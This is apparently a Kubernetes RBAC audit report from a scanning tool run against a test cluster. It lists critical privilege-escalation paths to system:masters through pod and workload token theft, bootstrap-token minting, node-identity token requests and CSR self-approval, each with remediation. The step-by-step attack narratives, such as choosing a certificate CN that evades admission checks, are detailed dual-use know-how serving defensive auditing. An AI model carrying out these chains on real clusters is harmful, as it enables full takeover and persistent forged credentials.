  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the create pods capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/csr-fixtures/sa-csr-mint). Evaluated cut: removing this subject from the crb-pod-create binding that grants hop 1. A route to the same sink survives that cut.
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the create pods capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/csr-fixtures/sa-csr-mint).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
CRITICAL ServiceAccount/rbac-fixtures/sa-workload-mutate Cluster 9.0
ServiceAccount/rbac-fixtures/sa-workload-mutate can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-workload-mutate → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-workload-mutate

Subject ServiceAccount/rbac-fixtures/sa-workload-mutate can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/csr-fixtures/sa-csr-mint via workload_create_token_theft (create deployments/daemonsets/statefulsets/jobs/cronjobs): can create a workload whose pods run as ServiceAccount csr-fixtures/sa-csr-mint
2. ServiceAccount/csr-fixtures/sa-csr-mint → / via csr_approve (create certificatesigningrequests + update certificatesigningrequests/approval): can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/rbac-fixtures/sa-workload-mutate.
  2. Acting as ServiceAccount/rbac-fixtures/sa-workload-mutate, the attacker creates a workload (create deployments/daemonsets/statefulsets/jobs/cronjobs) whose pod template runs as ServiceAccount/csr-fixtures/sa-csr-mint. The workload controller creates the pods, and nothing checks whether the writer may use that ServiceAccount, so the attacker's container holds its token. This is the same reach as creating the pod directly.
  3. Acting as ServiceAccount/csr-fixtures/sa-csr-mint, the attacker submits a CertificateSigningRequest whose Subject DN claims a privileged identity, then self-approves it via the certificatesigningrequests/approval subresource (create certificatesigningrequests + update certificatesigningrequests/approval). The apiserver maps a client cert's Common Name onto the username it authorizes and never checks whether that identity is one Kubernetes would have issued, so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount. (The textbook O=system:masters claim is blocked for this signer by the default CertificateSubjectRestriction admission plugin; the CN route is not.) The cert persists after the RBAC grant is revoked; with no CRL in Kubernetes, only a CA rotation invalidates it.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Workload creation → ServiceAccount token theft workload_create_token_theft

    A Deployment, DaemonSet, StatefulSet, Job, or CronJob carries a pod template, and its controller creates pods from that template. Whoever writes the template chooses the ServiceAccount the pods run as, and Kubernetes checks only that the ServiceAccount exists, not that the writer may use it.

    So create on any of these kinds reaches exactly what create pods reaches: every ServiceAccount in the namespace (or in every namespace, for a cluster-wide grant). Removing create pods from a role while leaving create deployments changes nothing.

    From ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create deployments/daemonsets/statefulsets/jobs/cronjobs
    Gives the attacker can create a workload whose pods run as ServiceAccount csr-fixtures/sa-csr-mint
  2. Step 2 of 2 CSR self-approval: forging a cluster identity csr_approve

    The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder have the cluster CA sign an x509 client cert carrying any Subject DN they choose. The apiserver maps the certificate's CN onto the username it authorizes and each O onto a group, for any cert signed by a CA in --client-ca-file. It never checks whether that identity is one Kubernetes would have issued — so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount even though Kubernetes itself never issues certificates to ServiceAccounts.

    Pick the claim carefully. O=system:masters is the famous version and the one modern clusters block: CertificateSubjectRestriction (default-on since 1.19) rejects that Organization for the kubernetes.io/kube-apiserver-client signer. The Common Name is unrestricted, so the route that works is claiming an existing privileged identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller, or a control-plane user like system:kube-controller-manager.

    Note the second gate on the approval side: since 1.19 the CertificateApproval admission plugin also requires the approver to hold the approve verb on the CSR's signers resource. A subject with only the two CSR verbs has a latent escalation that goes live the moment the signer verb is added or the plugin is disabled.

    This is a permanent backdoor primitive: cert validity is whatever the signer applies (often a year), Kubernetes has no revocation list, and removing the RBAC grant does not invalidate an issued cert — only a CA rotation does.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create certificatesigningrequests + update certificatesigningrequests/approval
    Gives the attacker can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission create deployments/daemonsets/statefulsets/jobs/cronjobs that enables the first hop (ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/csr-fixtures/sa-csr-mint).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission create deployments/daemonsets/statefulsets/jobs/cronjobs that enables the first hop (ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/csr-fixtures/sa-csr-mint).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
CRITICAL ServiceAccount/vulnerable/privileged-reader Cluster 9.0
ServiceAccount/vulnerable/privileged-reader can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/vulnerable/privileged-reader → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/privileged-reader

Subject ServiceAccount/vulnerable/privileged-reader can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/vulnerable/privileged-reader → ServiceAccount/csr-fixtures/sa-csr-mint via pod_create_token_theft (create pods): can create pods that mount ServiceAccount csr-fixtures/sa-csr-mint
2. ServiceAccount/csr-fixtures/sa-csr-mint → / via csr_approve (create certificatesigningrequests + update certificatesigningrequests/approval): can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/vulnerable/privileged-reader.
  2. Acting as ServiceAccount/vulnerable/privileged-reader, the attacker creates a pod that mounts the ServiceAccount/csr-fixtures/sa-csr-mint ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/csr-fixtures/sa-csr-mint, the attacker submits a CertificateSigningRequest whose Subject DN claims a privileged identity, then self-approves it via the certificatesigningrequests/approval subresource (create certificatesigningrequests + update certificatesigningrequests/approval). The apiserver maps a client cert's Common Name onto the username it authorizes and never checks whether that identity is one Kubernetes would have issued, so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount. (The textbook O=system:masters claim is blocked for this signer by the default CertificateSubjectRestriction admission plugin; the CN route is not.) The cert persists after the RBAC grant is revoked; with no CRL in Kubernetes, only a CA rotation invalidates it.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/vulnerable/privileged-reader → ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount csr-fixtures/sa-csr-mint
  2. Step 2 of 2 CSR self-approval: forging a cluster identity csr_approve

    The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder have the cluster CA sign an x509 client cert carrying any Subject DN they choose. The apiserver maps the certificate's CN onto the username it authorizes and each O onto a group, for any cert signed by a CA in --client-ca-file. It never checks whether that identity is one Kubernetes would have issued — so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount even though Kubernetes itself never issues certificates to ServiceAccounts.

    Pick the claim carefully. O=system:masters is the famous version and the one modern clusters block: CertificateSubjectRestriction (default-on since 1.19) rejects that Organization for the kubernetes.io/kube-apiserver-client signer. The Common Name is unrestricted, so the route that works is claiming an existing privileged identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller, or a control-plane user like system:kube-controller-manager.

    Note the second gate on the approval side: since 1.19 the CertificateApproval admission plugin also requires the approver to hold the approve verb on the CSR's signers resource. A subject with only the two CSR verbs has a latent escalation that goes live the moment the signer verb is added or the plugin is disabled.

    This is a permanent backdoor primitive: cert validity is whatever the signer applies (often a year), Kubernetes has no revocation list, and removing the RBAC grant does not invalidate an issued cert — only a CA rotation does.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create certificatesigningrequests + update certificatesigningrequests/approval
    Gives the attacker can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the create pods capability that enables hop 1 (ServiceAccount/vulnerable/privileged-reader → ServiceAccount/csr-fixtures/sa-csr-mint).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the create pods capability that enables hop 1 (ServiceAccount/vulnerable/privileged-reader → ServiceAccount/csr-fixtures/sa-csr-mint).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
CRITICAL ServiceAccount/nodeid-fixtures/nodeid-tokenwriter Cluster 8.9
ServiceAccount/nodeid-fixtures/nodeid-tokenwriter can impersonate `system:masters` in 3 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/nodeid-fixtures/nodeid-tokenwriter

Subject ServiceAccount/nodeid-fixtures/nodeid-tokenwriter can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (3 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → / via bootstrap_token_mint (create secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
2. ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → ServiceAccount/csr-fixtures/sa-csr-mint via node_token_request (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount csr-fixtures/sa-csr-mint, whose pod is bound there
3. ServiceAccount/csr-fixtures/sa-csr-mint → / via csr_approve (create certificatesigningrequests + update certificatesigningrequests/approval): can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/nodeid-fixtures/nodeid-tokenwriter.
  2. Acting as ServiceAccount/nodeid-fixtures/nodeid-tokenwriter, the attacker writes a Secret of type bootstrap.kubernetes.io/token in kube-system (create secrets in kube-system). The bootstrap-token authenticator treats it as a credential for system:bootstrap:<id> in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.
  3. Holding a node identity, the attacker requests a token for ServiceAccount ServiceAccount/csr-fixtures/sa-csr-mint through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as ServiceAccount/csr-fixtures/sa-csr-mint.
  4. Acting as ServiceAccount/csr-fixtures/sa-csr-mint, the attacker submits a CertificateSigningRequest whose Subject DN claims a privileged identity, then self-approves it via the certificatesigningrequests/approval subresource (create certificatesigningrequests + update certificatesigningrequests/approval). The apiserver maps a client cert's Common Name onto the username it authorizes and never checks whether that identity is one Kubernetes would have issued, so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount. (The textbook O=system:masters claim is blocked for this signer by the default CertificateSubjectRestriction admission plugin; the CN route is not.) The cert persists after the RBAC grant is revoked; with no CRL in Kubernetes, only a CA rotation invalidates it.
  5. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 3 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter
    Permission granted create secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 3 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount csr-fixtures/sa-csr-mint, whose pod is bound there
  3. Step 3 of 3 CSR self-approval: forging a cluster identity csr_approve

    The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder have the cluster CA sign an x509 client cert carrying any Subject DN they choose. The apiserver maps the certificate's CN onto the username it authorizes and each O onto a group, for any cert signed by a CA in --client-ca-file. It never checks whether that identity is one Kubernetes would have issued — so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount even though Kubernetes itself never issues certificates to ServiceAccounts.

    Pick the claim carefully. O=system:masters is the famous version and the one modern clusters block: CertificateSubjectRestriction (default-on since 1.19) rejects that Organization for the kubernetes.io/kube-apiserver-client signer. The Common Name is unrestricted, so the route that works is claiming an existing privileged identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller, or a control-plane user like system:kube-controller-manager.

    Note the second gate on the approval side: since 1.19 the CertificateApproval admission plugin also requires the approver to hold the approve verb on the CSR's signers resource. A subject with only the two CSR verbs has a latent escalation that goes live the moment the signer verb is added or the plugin is disabled.

    This is a permanent backdoor primitive: cert validity is whatever the signer applies (often a year), Kubernetes has no revocation list, and removing the RBAC grant does not invalidate an issued cert — only a CA rotation does.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create certificatesigningrequests + update certificatesigningrequests/approval
    Gives the attacker can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission create secrets in kube-system that enables the first hop (ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission create secrets in kube-system that enables the first hop (ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
CRITICAL ServiceAccount/privesc-fixtures/sa-secret-mint Cluster 8.9
ServiceAccount/privesc-fixtures/sa-secret-mint can impersonate `system:masters` in 3 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-secret-mint → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-secret-mint

Subject ServiceAccount/privesc-fixtures/sa-secret-mint can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (3 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/privesc-fixtures/sa-secret-mint → / via bootstrap_token_mint (create,get secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
2. ServiceAccount/privesc-fixtures/sa-secret-mint → ServiceAccount/csr-fixtures/sa-csr-mint via node_token_request (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount csr-fixtures/sa-csr-mint, whose pod is bound there
3. ServiceAccount/csr-fixtures/sa-csr-mint → / via csr_approve (create certificatesigningrequests + update certificatesigningrequests/approval): can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/privesc-fixtures/sa-secret-mint.
  2. Acting as ServiceAccount/privesc-fixtures/sa-secret-mint, the attacker writes a Secret of type bootstrap.kubernetes.io/token in kube-system (create,get secrets in kube-system). The bootstrap-token authenticator treats it as a credential for system:bootstrap:<id> in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.
  3. Holding a node identity, the attacker requests a token for ServiceAccount ServiceAccount/csr-fixtures/sa-csr-mint through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as ServiceAccount/csr-fixtures/sa-csr-mint.
  4. Acting as ServiceAccount/csr-fixtures/sa-csr-mint, the attacker submits a CertificateSigningRequest whose Subject DN claims a privileged identity, then self-approves it via the certificatesigningrequests/approval subresource (create certificatesigningrequests + update certificatesigningrequests/approval). The apiserver maps a client cert's Common Name onto the username it authorizes and never checks whether that identity is one Kubernetes would have issued, so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount. (The textbook O=system:masters claim is blocked for this signer by the default CertificateSubjectRestriction admission plugin; the CN route is not.) The cert persists after the RBAC grant is revoked; with no CRL in Kubernetes, only a CA rotation invalidates it.
  5. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 3 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 3 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/privesc-fixtures/sa-secret-mint → ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount csr-fixtures/sa-csr-mint, whose pod is bound there
  3. Step 3 of 3 CSR self-approval: forging a cluster identity csr_approve

    The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder have the cluster CA sign an x509 client cert carrying any Subject DN they choose. The apiserver maps the certificate's CN onto the username it authorizes and each O onto a group, for any cert signed by a CA in --client-ca-file. It never checks whether that identity is one Kubernetes would have issued — so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount even though Kubernetes itself never issues certificates to ServiceAccounts.

    Pick the claim carefully. O=system:masters is the famous version and the one modern clusters block: CertificateSubjectRestriction (default-on since 1.19) rejects that Organization for the kubernetes.io/kube-apiserver-client signer. The Common Name is unrestricted, so the route that works is claiming an existing privileged identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller, or a control-plane user like system:kube-controller-manager.

    Note the second gate on the approval side: since 1.19 the CertificateApproval admission plugin also requires the approver to hold the approve verb on the CSR's signers resource. A subject with only the two CSR verbs has a latent escalation that goes live the moment the signer verb is added or the plugin is disabled.

    This is a permanent backdoor primitive: cert validity is whatever the signer applies (often a year), Kubernetes has no revocation list, and removing the RBAC grant does not invalidate an issued cert — only a CA rotation does.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create certificatesigningrequests + update certificatesigningrequests/approval
    Gives the attacker can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission create,get secrets in kube-system that enables the first hop (ServiceAccount/privesc-fixtures/sa-secret-mint → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission create,get secrets in kube-system that enables the first hop (ServiceAccount/privesc-fixtures/sa-secret-mint → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
CRITICAL ServiceAccount/cloud-eks-test/eks-admin-irsa Cluster 8.8
ServiceAccount/cloud-eks-test/eks-admin-irsa can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/cloud-eks-test/eks-admin-irsa → system:masters: terminal sink is cluster-scoped (full API control or host root)
